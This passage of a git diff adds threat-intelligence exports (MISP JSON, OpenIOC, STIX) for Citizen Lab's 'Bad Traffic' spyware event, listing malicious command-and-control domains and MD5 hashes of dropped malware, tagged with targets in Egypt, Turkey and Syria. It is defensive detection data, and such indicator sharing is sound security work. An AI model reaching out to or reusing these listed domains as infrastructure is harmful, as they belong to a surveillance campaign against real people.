"sharing_group_id": "0", + "deleted": false, + "value": "epoch.uploaders.online", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18215", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5aa03c02-0bd0-42ee-ade7-67a28064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520450562", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "solitude.filedownloads.online", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18152", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a9ebab6-5b58-489e-90e2-630f8064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351926", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "download.downloading.shop", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "110", + "org_id": "2", + "info": "New FinFisher surveillance campaigns: Are internet providers involved?", + "value": "download.downloading.shop" + } + } + ] + }, + { + "id": "18153", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a9ebab6-1cf8-44f7-9995-630f8064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351926", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "downloading.syriantelecom.co", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18154", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a9ebab6-e0ac-49ac-b6fa-630f8064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351926", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "download.syriantelecommunications.co", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18155", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a9ebab6-49a8-4bb1-81d7-630f8064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351926", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "redirection.bid", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18156", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a9ebab6-def0-4a56-9745-630f8064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351926", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "downloading.internetdownloading.co", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18157", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a9ebab6-f734-4a44-a766-630f8064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351926", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "download.downloadering.co", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18158", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a9ebab6-193c-4062-8a28-630f8064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351926", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "updserv-east-cdn3.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18159", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a9ebab6-1dc4-4139-92f9-630f8064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351926", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "computing.downloaders.today", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18160", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a9ebab6-dd2c-446e-94a1-630f8064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351926", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "storage.computingdownloads.life", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18161", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a9ebab6-479c-4201-b823-630f8064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351926", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "window.processingdownloads.today", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18162", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a9ebab6-389c-4de0-be65-630f8064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351926", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "ms-cdn-88.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18163", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a9ebab6-41d4-4b46-8c16-630f8064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351926", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "solitude.file-download.today", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18164", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a9ebab6-c2ac-45da-902c-630f8064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351926", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "system.documentations.live", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18165", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a9ebab6-adc4-48ac-8d5d-630f8064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351926", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "epiphany.download-document.world", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18166", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a9ebab6-b9b8-412b-9929-630f8064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351926", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "epoch.wind-files.today", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18167", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a9ebab6-caf4-41b4-8e69-630f8064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351926", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "internet.document-management.today", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18168", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a9ebab6-b230-4313-9195-630f8064ab0b", + "event_id": "134", + "distribution": "5", + "timestamp": "1520351926", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "cdn-upd-ms6.com", + "SharingGroup": [], + "ShadowAttribute": [] + } + ], + "ShadowAttribute": [], + "RelatedEvent": [ + { + "Event": { + "id": "110", + "date": "2017-09-21", + "threat_level_id": "2", + "info": "New FinFisher surveillance campaigns: Are internet providers involved?", + "published": true, + "uuid": "59c3ccb9-4c2c-41dc-ae80-122e8e96ca05", + "analysis": "2", + "timestamp": "1506004336", + "distribution": "1", + "org_id": "2", + "orgc_id": "2" + }, + "Org": { + "id": "2", + "name": "citizenlab", + "uuid": "581b5fea-818c-441a-bd1d-49798e96ca05" + }, + "Orgc": { + "id": "2", + "name": "citizenlab", + "uuid": "581b5fea-818c-441a-bd1d-49798e96ca05" + } + } + ], + "Tag": [ + { + "id": "31", + "name": "TARGET:EGYPT", + "colour": "#f0d90a", + "exportable": true, + "org_id": false + }, + { + "id": "32", + "name": "TARGET:TURKEY", + "colour": "#e00000", + "exportable": true, + "org_id": false + }, + { + "id": "12", + "name": "TARGET:SYRIA", + "colour": "#000000", + "exportable": true, + "org_id": false + }, + { + "id": "5", + "name": "SOURCE:CITIZENLAB", + "colour": "#ffad0d", + "exportable": true, + "org_id": false + }, + { + "id": "7", + "name": "DETECT", + "colour": "#cccccc", + "exportable": true, + "org_id": false + } + ] + } +}]} \ No newline at end of file diff --git a/data/ioc/spyware/citizen_lab/201803_BadTraffic/openioc.ioc b/data/ioc/spyware/citizen_lab/201803_BadTraffic/openioc.ioc new file mode 100644 index 0000000..8d1d7ca --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201803_BadTraffic/openioc.ioc @@ -0,0 +1,113 @@ + + + Event #134 + Bad Traffic + + citizenlab + 2018-02-14T00:00:00 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/data/ioc/spyware/citizen_lab/201803_BadTraffic/stix.xml b/data/ioc/spyware/citizen_lab/201803_BadTraffic/stix.xml new file mode 100644 index 0000000..098a0d3 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201803_BadTraffic/stix.xml @@ -0,0 +1,1633 @@ + + + Export from MISP + Threat Report + + + + + + Bad Traffic (MISP Event #134) + Threat Report + + + + Bad Traffic + 134 + + 2018-02-14T00:00:00+00:00 + 2018-03-07T14:23:18+00:00 + + New + + + Artifacts dropped + + Artifacts dropped: a070fd2cce434a6f0b0d0fa6d3278d22 (MISP Attribute #18176) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: a070fd2cce434a6f0b0d0fa6d3278d22 (MISP Attribute #18176) + + + + + + + MD5 + a070fd2cce434a6f0b0d0fa6d3278d22 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: be6f2a03dfddbaf1166854730961d13c (MISP Attribute #18177) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: be6f2a03dfddbaf1166854730961d13c (MISP Attribute #18177) + + + + + + + MD5 + be6f2a03dfddbaf1166854730961d13c + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: d7ec065cc3f563928504f80692578d2f (MISP Attribute #18178) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: d7ec065cc3f563928504f80692578d2f (MISP Attribute #18178) + + + + + + + MD5 + d7ec065cc3f563928504f80692578d2f + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: f344da38958dbc730ddebc10660cd451 (MISP Attribute #18179) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: f344da38958dbc730ddebc10660cd451 (MISP Attribute #18179) + + + + + + + MD5 + f344da38958dbc730ddebc10660cd451 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: fa90508007b94a4dbfeb8b48d5443ec8 (MISP Attribute #18180) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: fa90508007b94a4dbfeb8b48d5443ec8 (MISP Attribute #18180) + + + + + + + MD5 + fa90508007b94a4dbfeb8b48d5443ec8 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 001316808aa7108b467e8ecc06139c2e (MISP Attribute #18181) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 001316808aa7108b467e8ecc06139c2e (MISP Attribute #18181) + + + + + + + MD5 + 001316808aa7108b467e8ecc06139c2e + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 5c3f0dcf4aaa699b50154aa245923c86 (MISP Attribute #18182) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 5c3f0dcf4aaa699b50154aa245923c86 (MISP Attribute #18182) + + + + + + + MD5 + 5c3f0dcf4aaa699b50154aa245923c86 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 7fd98d6bb1e9d6bcf2e1984e812c1e46 (MISP Attribute #18183) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 7fd98d6bb1e9d6bcf2e1984e812c1e46 (MISP Attribute #18183) + + + + + + + MD5 + 7fd98d6bb1e9d6bcf2e1984e812c1e46 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 89180820b47bb11ccf0c8505371e98d1 (MISP Attribute #18184) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 89180820b47bb11ccf0c8505371e98d1 (MISP Attribute #18184) + + + + + + + MD5 + 89180820b47bb11ccf0c8505371e98d1 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 8bb2ba6f1cfa3bd99146688cd1e76bb0 (MISP Attribute #18185) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 8bb2ba6f1cfa3bd99146688cd1e76bb0 (MISP Attribute #18185) + + + + + + + MD5 + 8bb2ba6f1cfa3bd99146688cd1e76bb0 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 8c8eb5cfc5642a773c5f2b5f59148aa3 (MISP Attribute #18186) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 8c8eb5cfc5642a773c5f2b5f59148aa3 (MISP Attribute #18186) + + + + + + + MD5 + 8c8eb5cfc5642a773c5f2b5f59148aa3 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 8fea3de31a58415c3fec2e6dd4095575 (MISP Attribute #18187) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 8fea3de31a58415c3fec2e6dd4095575 (MISP Attribute #18187) + + + + + + + MD5 + 8fea3de31a58415c3fec2e6dd4095575 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 9b0de56f7f862db73e223f41099fc74c (MISP Attribute #18188) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 9b0de56f7f862db73e223f41099fc74c (MISP Attribute #18188) + + + + + + + MD5 + 9b0de56f7f862db73e223f41099fc74c + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: be8a344487bcfea66de8e0f0f14d869e (MISP Attribute #18189) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: be8a344487bcfea66de8e0f0f14d869e (MISP Attribute #18189) + + + + + + + MD5 + be8a344487bcfea66de8e0f0f14d869e + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: df0045bd4168893922480f7ccb29860a (MISP Attribute #18190) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: df0045bd4168893922480f7ccb29860a (MISP Attribute #18190) + + + + + + + MD5 + df0045bd4168893922480f7ccb29860a + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: e436e849d9496ef3f651c1904786c78f (MISP Attribute #18191) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: e436e849d9496ef3f651c1904786c78f (MISP Attribute #18191) + + + + + + + MD5 + e436e849d9496ef3f651c1904786c78f + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: e80d8a0c35133f7485d8e87ade903919 (MISP Attribute #18192) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: e80d8a0c35133f7485d8e87ade903919 (MISP Attribute #18192) + + + + + + + MD5 + e80d8a0c35133f7485d8e87ade903919 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: f36e67109ae368c9db109d0a41b5817c (MISP Attribute #18193) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: f36e67109ae368c9db109d0a41b5817c (MISP Attribute #18193) + + + + + + + MD5 + f36e67109ae368c9db109d0a41b5817c + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 08b8b4787f3ce90c6c1483cc127b1cdc (MISP Attribute #18194) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 08b8b4787f3ce90c6c1483cc127b1cdc (MISP Attribute #18194) + + + + + + + MD5 + 08b8b4787f3ce90c6c1483cc127b1cdc + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 205a5502ff0da4a471c4dad0e06c6c57 (MISP Attribute #18195) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 205a5502ff0da4a471c4dad0e06c6c57 (MISP Attribute #18195) + + + + + + + MD5 + 205a5502ff0da4a471c4dad0e06c6c57 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 32bc51088953377d601c6b27ca7484a9 (MISP Attribute #18196) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 32bc51088953377d601c6b27ca7484a9 (MISP Attribute #18196) + + + + + + + MD5 + 32bc51088953377d601c6b27ca7484a9 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 3729531c71163cddcded7e70c02a3004 (MISP Attribute #18197) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 3729531c71163cddcded7e70c02a3004 (MISP Attribute #18197) + + + + + + + MD5 + 3729531c71163cddcded7e70c02a3004 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 43b39fd4ddc386092372da19f6278c25 (MISP Attribute #18198) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 43b39fd4ddc386092372da19f6278c25 (MISP Attribute #18198) + + + + + + + MD5 + 43b39fd4ddc386092372da19f6278c25 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 4fe4094302c26e7ea2c58f5ca9f7f993 (MISP Attribute #18199) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 4fe4094302c26e7ea2c58f5ca9f7f993 (MISP Attribute #18199) + + + + + + + MD5 + 4fe4094302c26e7ea2c58f5ca9f7f993 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 58239ea5747d3375278ce7c04db22c1b (MISP Attribute #18200) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 58239ea5747d3375278ce7c04db22c1b (MISP Attribute #18200) + + + + + + + MD5 + 58239ea5747d3375278ce7c04db22c1b + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 6491df10c766be9c487fb9495d04df6e (MISP Attribute #18201) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 6491df10c766be9c487fb9495d04df6e (MISP Attribute #18201) + + + + + + + MD5 + 6491df10c766be9c487fb9495d04df6e + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 6a442a610c047a7a306a12f423978bfb (MISP Attribute #18202) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 6a442a610c047a7a306a12f423978bfb (MISP Attribute #18202) + + + + + + + MD5 + 6a442a610c047a7a306a12f423978bfb + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 6ce947913231bd968c86a2737bae7bba (MISP Attribute #18203) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 6ce947913231bd968c86a2737bae7bba (MISP Attribute #18203) + + + + + + + MD5 + 6ce947913231bd968c86a2737bae7bba + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 7ad8ad340c084f8185e2bb18cbfde891 (MISP Attribute #18204) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 7ad8ad340c084f8185e2bb18cbfde891 (MISP Attribute #18204) + + + + + + + MD5 + 7ad8ad340c084f8185e2bb18cbfde891 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 90373539c60529153d0d6b0cc857e845 (MISP Attribute #18205) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 90373539c60529153d0d6b0cc857e845 (MISP Attribute #18205) + + + + + + + MD5 + 90373539c60529153d0d6b0cc857e845 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: a5ae6e0d74052d4f889f2538fdd7cb9b (MISP Attribute #18206) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: a5ae6e0d74052d4f889f2538fdd7cb9b (MISP Attribute #18206) + + + + + + + MD5 + a5ae6e0d74052d4f889f2538fdd7cb9b + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 08d971f5f4707ae6ea56ed2f243c38b7 (MISP Attribute #18169) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 08d971f5f4707ae6ea56ed2f243c38b7 (MISP Attribute #18169) + + + + + + + MD5 + 08d971f5f4707ae6ea56ed2f243c38b7 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 20755b98d7c094747b75b157413e3422 (MISP Attribute #18170) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 20755b98d7c094747b75b157413e3422 (MISP Attribute #18170) + + + + + + + MD5 + 20755b98d7c094747b75b157413e3422 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 3632fb080545d3518d57320466f96cb3 (MISP Attribute #18171) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 3632fb080545d3518d57320466f96cb3 (MISP Attribute #18171) + + + + + + + MD5 + 3632fb080545d3518d57320466f96cb3 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 40383bee9846ecbd78581402e3379051 (MISP Attribute #18172) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 40383bee9846ecbd78581402e3379051 (MISP Attribute #18172) + + + + + + + MD5 + 40383bee9846ecbd78581402e3379051 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 449ba12127133ecd0440a558b083468c (MISP Attribute #18173) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 449ba12127133ecd0440a558b083468c (MISP Attribute #18173) + + + + + + + MD5 + 449ba12127133ecd0440a558b083468c + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 461446151be0033a668782c2d7ba58cb (MISP Attribute #18174) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 461446151be0033a668782c2d7ba58cb (MISP Attribute #18174) + + + + + + + MD5 + 461446151be0033a668782c2d7ba58cb + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 56bc314bc0d4a0a230a4de2bf978b5ae (MISP Attribute #18175) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 56bc314bc0d4a0a230a4de2bf978b5ae (MISP Attribute #18175) + + + + + + + MD5 + 56bc314bc0d4a0a230a4de2bf978b5ae + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: document.downloadingsystem.com (MISP Attribute #18208) + Malware Artifacts + Domain Watchlist + Network activity: document.downloadingsystem.com (MISP Attribute #18208) + + + + + document.downloadingsystem.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: epoch.englishdownloaders.today (MISP Attribute #18209) + Malware Artifacts + Domain Watchlist + Network activity: epoch.englishdownloaders.today (MISP Attribute #18209) + + + + + epoch.englishdownloaders.today + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: internet.downloadingdocuments.com (MISP Attribute #18210) + Malware Artifacts + Domain Watchlist + Network activity: internet.downloadingdocuments.com (MISP Attribute #18210) + + + + + internet.downloadingdocuments.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: system.filedownloaders.com (MISP Attribute #18211) + Malware Artifacts + Domain Watchlist + Network activity: system.filedownloaders.com (MISP Attribute #18211) + + + + + system.filedownloaders.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: upd-ms3-app-state.com (MISP Attribute #18212) + Malware Artifacts + Domain Watchlist + Network activity: upd-ms3-app-state.com (MISP Attribute #18212) + + + + + upd-ms3-app-state.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: bombinate.winload.info (MISP Attribute #18213) + Malware Artifacts + Domain Watchlist + Network activity: bombinate.winload.info (MISP Attribute #18213) + + + + + bombinate.winload.info + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: epoch.uploaders.online (MISP Attribute #18214) + Malware Artifacts + Domain Watchlist + Network activity: epoch.uploaders.online (MISP Attribute #18214) + + + + + epoch.uploaders.online + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: solitude.filedownloads.online (MISP Attribute #18215) + Malware Artifacts + Domain Watchlist + Network activity: solitude.filedownloads.online (MISP Attribute #18215) + + + + + solitude.filedownloads.online + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: download.downloading.shop (MISP Attribute #18152) + Malware Artifacts + Domain Watchlist + Network activity: download.downloading.shop (MISP Attribute #18152) + + + + + download.downloading.shop + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: downloading.syriantelecom.co (MISP Attribute #18153) + Malware Artifacts + Domain Watchlist + Network activity: downloading.syriantelecom.co (MISP Attribute #18153) + + + + + downloading.syriantelecom.co + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: download.syriantelecommunications.co (MISP Attribute #18154) + Malware Artifacts + Domain Watchlist + Network activity: download.syriantelecommunications.co (MISP Attribute #18154) + + + + + download.syriantelecommunications.co + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: redirection.bid (MISP Attribute #18155) + Malware Artifacts + Domain Watchlist + Network activity: redirection.bid (MISP Attribute #18155) + + + + + redirection.bid + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: downloading.internetdownloading.co (MISP Attribute #18156) + Malware Artifacts + Domain Watchlist + Network activity: downloading.internetdownloading.co (MISP Attribute #18156) + + + + + downloading.internetdownloading.co + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: download.downloadering.co (MISP Attribute #18157) + Malware Artifacts + Domain Watchlist + Network activity: download.downloadering.co (MISP Attribute #18157) + + + + + download.downloadering.co + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: updserv-east-cdn3.com (MISP Attribute #18158) + Malware Artifacts + Domain Watchlist + Network activity: updserv-east-cdn3.com (MISP Attribute #18158) + + + + + updserv-east-cdn3.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: computing.downloaders.today (MISP Attribute #18159) + Malware Artifacts + Domain Watchlist + Network activity: computing.downloaders.today (MISP Attribute #18159) + + + + + computing.downloaders.today + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: storage.computingdownloads.life (MISP Attribute #18160) + Malware Artifacts + Domain Watchlist + Network activity: storage.computingdownloads.life (MISP Attribute #18160) + + + + + storage.computingdownloads.life + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: window.processingdownloads.today (MISP Attribute #18161) + Malware Artifacts + Domain Watchlist + Network activity: window.processingdownloads.today (MISP Attribute #18161) + + + + + window.processingdownloads.today + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: ms-cdn-88.com (MISP Attribute #18162) + 